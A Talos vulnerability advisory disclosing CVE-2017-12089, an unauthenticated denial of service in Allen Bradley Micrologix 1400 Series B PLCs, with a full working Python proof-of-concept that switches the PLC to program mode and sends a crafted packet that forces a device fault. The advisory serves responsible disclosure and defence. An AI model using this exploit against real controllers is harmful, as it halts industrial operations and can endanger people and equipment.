Talos Vulnerability Report

TALOS-2017-0441

Allen Bradley Micrologix 1400 Series B Ladder Logic Program Download Device Fault Denial of Service Vulnerability

March 28, 2018
CVE Number

CVE-2017-12089

Summary

An exploitable denial of service vulnerability exists in the program download functionality of Allen Bradley Micrologix 1400 Series B FRN 21.2 and before. A specially crafted packet can cause a device fault resulting in halted operations. An attacker can send an unauthenticated packet to trigger this vulnerability.

Tested Versions

Allen Bradley Micrologix 1400 Series B FRN 21.2 Allen Bradley Micrologix 1400 Series B FRN 21.0 Allen Bradley Micrologix 1400 Series B FRN 15

Product URLs

http://ab.rockwellautomation.com/Programmable-Controllers/MicroLogix-1400

CVSSv3 Score

8.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

CWE

CWE-399 - Resource Management Errors

Details

When a new program is downloaded to the PLC it must go through a specific routine to obtain and lock the editing rights for the PLC. If errors are encountered during that process, the PLC enters a fault state. By sending the ‘Execute Command List’ packet used during a standard download process without the accompanying ‘download complete’ packet, we can force the device to halt in the download state for one minute and then transition into the fault state.

Exploit Proof-of-Concept

Usage: python <filename>.py -i <ip_addr> [-p <port>]    Where the elements are as follows:
- <filename>  :  whatever name you give the script
- <ip_addr>   :  ip address of the plc
- <port>      :  EtherNet/IP port (defaults to 44818)

NOTE: If testing against a real device, the PLC must be in the REMOTE keyswitch mode

import argparse
import socket
import binascii
import random

def pad_hex(hex_str, size):
    if "0x" in hex_str: hex_str = "".join(hex_str.split("0x"))
    if len(hex_str) != size:
        numzeros = size - len(hex_str) 
        zeros = "0"*numzeros
        hex_str = "%s%s" % (zeros, hex_str)
    return hex_str

def split_hex(hex_str):
    return list(map(''.join, zip(*[iter(hex_str)]*2)))

def get_tns():
    temp_tns = pad_hex(hex(int(random.random()*65535)).replace("0x",""), 4)
    tns = binascii.unhexlify(temp_tns)
    return tns

def build_eth_instruction(instruction_elements, session_handle):
    command_code      = "\x6f\x00"
    status            = "\x00\x00\x00\x00"
    sender_context    = "\x00\x00\x00\x01\x00\x28\x1e\x4d"
    options           = "\x00\x00\x00\x00"
    handle            = "\x00\x00\x00\x00"
    timeout           = "\x00\x00"
    num_items         = "\x02\x00"
    addr_data_type    = "\x00\x00"
    addr_data_length  = "\x00\x00"
    data_data_type    = "\xb2\x00"
    service_code      = "\x4b"
    size_req_path     = "\x02"
    req_path          = "\x20\x67\x24\x01"
    length_req_id     = "\x07"
    cip_vendor_id     = "\x01\x00"
    cip_ser_num       = "\xf2\x0c\x02\x00"
    cmd = instruction_elements['cmd']
    sts = "\x00"
    tns = get_tns()
    fnc = instruction_elements['fnc']
    data = instruction_elements['data']
    pccc_cmd = "%s%s%s%s%s" % (cmd, sts, tns, fnc, data)
    data_data_length = len(service_code) + len(size_req_path) + len(req_path) + len(length_req_id) + len(cip_vendor_id) + len(cip_ser_num) + len(pccc_cmd)
    data_length = "%s\x00" % binascii.unhexlify(hex(data_data_length + 16)[2:])
    data_data_length = "%s\x00" % binascii.unhexlify(hex(data_data_length)[2:])
    payload = "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" % (command_code, data_length, session_handle, status, sender_context, options, handle, timeout, num_items, addr_data_type, addr_data_length, data_data_type, data_data_length, service_code, size_req_path, req_path, length_req_id, cip_vendor_id, cip_ser_num, pccc_cmd)
    return payload

def send_instruction(instruction_elements,session_handle):
    return_response = ""
    instruction = build_eth_instruction(instruction_elements, session_handle)
    sock.send(instruction)
    return_response = sock.recv(1024)
    return return_response

def set_cpu_state(state, session_handle):
    payload = ""
    if state == "run": payload = {"cmd":"\x0f","fnc":"\x80","data":"\x06"}
    elif state == "prog": payload = {"cmd":"\x0f","fnc":"\x80","data":"\x01"}
    send_instruction(payload, session_handle)

def register_session():
    registersession_data = "\x65\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x28\x1e\x4d\x00\x00\x00\x00\x01\x00\x00\x00"
    sock.send(registersession_data)
    reg_session_response = binascii.hexlify(sock.recv(28))
    session_handle = binascii.unhexlify(reg_session_response[8:16])
    return session_handle

parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ipaddr", help="target ip address", type=str)
parser.add_argument("-p", "--port", help="target port", default=44818, type=int)
args = parser.parse_args()

dst = args.ipaddr
port = args.port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((dst, port))
session_handle = register_session()

execute_cmd_list = {"cmd":"\x0f","fnc":"\x88","data":"\x02\x0c\xaa\x06\x00\x63\x00\x00\x08\x91\x00\x00\x83\xf1\x01\x56"}
set_cpu_state("prog",session_handle)
send_instruction(execute_cmd_list, session_handle)

sock.shutdown(socket.SHUT_RDWR)
sock.close()

Timeline

2017-09-22 - Vendor Disclosure
2018-03-28 - Public Release

Credit

Discovered by Jared Rittle and Patrick DeSantis of Cisco Talos.